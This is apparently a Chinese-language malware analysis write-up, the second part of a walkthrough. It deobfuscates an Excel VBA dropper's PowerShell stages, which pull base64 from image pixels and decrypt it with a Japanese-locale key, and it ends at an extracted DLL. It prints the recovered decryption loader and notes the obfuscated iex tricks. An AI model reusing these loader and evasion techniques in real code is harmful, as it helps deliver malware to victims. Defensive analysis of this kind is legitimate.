obfuscation_from_Excel_VBA_Part2



继续分析 4 个要下载的文件的列表。

下载到本地继续分析。

image-20220107143634772

下载文件后,它将使用该函数提取每个像素以及 B 和 G 颜色值,进行数学运算然后作为字符输出。
之后,它将传递从像素解码的 base64 字符串和 ([System.Version]).”nAME” 的结果,其计算结果为“Version”。该值用作解密中的密钥。
解密函数将使用派生密钥函数中 base64 编码数据的前 32 个字节。它还将使用传递的键值。HMAC 部分并不是真正需要正确解密数据。然后我们使用 RijndaelManaged 解密。
如果数据被正确解密,我们就会得到第一个字节 0x1F。这也告诉我们,无需查看其余代码,这就是 GZip 压缩数据输出。
虽然仍在解密函数中,但它会在返回另一个 base64 字符串之前对数据进行 GZip 解压缩。

更改脚本,更改为本地地址搭建个http服务端,再接着删除&("{1}{0}" -f 'X','IE')字符,因该函数为iex执行,删除后就可以直接输出结果。

image-20220107144454881

image-20220107144642478

输出内容。

image-20220107144752315

看到$Fghg将被设置为一个值,需要 LCID,而文档为日语。则需找到日语的LCID即可

image-20220107145249283

而LCID为1041

image-20220107145224776

第一个值为408

image-20220107145525413

则更改脚本如下,并去掉iex输出变量okkiis的值即可

image-20220107145606479

同时再增加前面脚本的func OtTAsS和func bAvV

image-20220107152132397

即如下完整脚本

image-20220107151823141

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$MmUz='base64 code';
&'sal' oM new-ObJeCT;.'Add-Type' -AssemblyName 'System.Drawing';
function OtTAsS {param ([String]${IgAa}, [String]${pcxC})${byTuRo} = [Convert]::"FROmBASe64string"(${IGAA});
${TlAS} = &('Om') bYtE[](32);[Array]::"CoPy"(${bYTuRo}, 0, ${TLaS}, 0, 32);
${rcxz0} = .('Om') SystEM.sEcURITY.cRyptOgRAPhY.RfC2898deRIVeBYtEs(${PCxc},${tLAS});
${Xa2d} = ${rCxZ0}."GEtBYTES"(32);
${DEfS} = ${Rcxz0}."geTbyTES"(16);
${HmaC} = .('Om') sYsTEM.sEcUrItY.CRYPtOgRapHY.HMAcSHA1(,${rcxz0}."getBYtes"(20));
${eedER} = ${hMAc}."compuTehAsh"(${bytuRO}, 52, ${BYTURO}."LeNGTh" - 52);
IF (&'Compare-Object' ${eeDER} (${byTUrO}[32..51]) -SyncWindow 0) {throw ''}
${Aes} = .('Om') sECuRITY.CryPTOgRapHY.rijnDAelMANAgED;
${QAsAq} = ${aES}."cREATeDeCRYPTOr"(${XA2D}, ${deFS});
${MJOkO} = ${QasAq}."TRaNsFoRmfINALbLOCK"(${bYTUro}, 52, ${BYTuRO}."lenGtH" - 52);
${adAmi} = .('Om') System.Io.meMOrYSTream(${MJOkO}, ${FalSE});

IF (${mjoKO}[0] -eq 0x1f)
{${aDaMi} = &('Om') SYsTEM.IO.cOMpRessION.gZIpStReAm(${adami}, [IO.Compression.CompressionMode]::"DEcomPrESS")}
${sTREAMreadEr} = &('Om') sYsTEM.iO.sTrEaMReadEr(${aDAmI}, ${TRUe});
${sTrEAmrEaDeR}."REAdtOeND"()};

Function bAvV(${t64IN}){${bCzA} = [System.Convert]::"frOmbASe64StrINg"(${T64iN});
${SeNegS} = [System.Text.Encoding]::"uTf8"."gETSTring"(${bCzA});
return ${SeneGS}};


$Fghg= 408 + 1041;
$r44r=Ottass -Igaa $MmUz -Pcxc $Fghg;
$OkKiiS=Bavv($r44r);
$OkKiiS

成功输出为powershell脚本

image-20220107152345760

继续分析powershell脚本输出后的这一部分

image-20220107152454491

|& ((GET-VAriAbLe '*mdR*').NaMe[3,11,2]-JOIn'')这部分字符串表示为iex,删除即可

image-20220107152658501

解除混淆后为powershell内容,与之前看到的类似

image-20220107152742183

继续去其混淆

image-20220107154143439

image-20220107154221330

最后又是下载图片文件

image-20220107154254927

手工去其混淆如下原理

image-20220107155454055

或可使用工具 PSUnveil

image-20220107160158896

继续修改脚本,可看到提取的结果被传递给值 ${MAGG}。输出${MAGG}即可。

image-20220107155024438

输出为base64

image-20220107160110119

将首先获取系统的 LCID 并将数值转换为字符串,然后将字符串转换为 Char,接下来把从图片文件中提取的base64字符串,Base64解码成一个字节数组。最后,它将通过 LCID值为1041对数据进行xor。

image-20220107160150814

继续进行解码的到一个可执行文件

image-20220107143012009

一个dll文件

image-20220107160534332

image-20220107160611099

参考链接:

https://www.kahusecurity.com/tools.html

https://pcsxcetrasupport3.wordpress.com/2021/12/07/peeling-away-the-layers-of-obfuscation-from-excel-vba-to-dll/

https://docs.microsoft.com/en-us/openspecs/office_standards/ms-oe376/6c085406-a698-4e12-9d4d-c3b0ee3dbc4a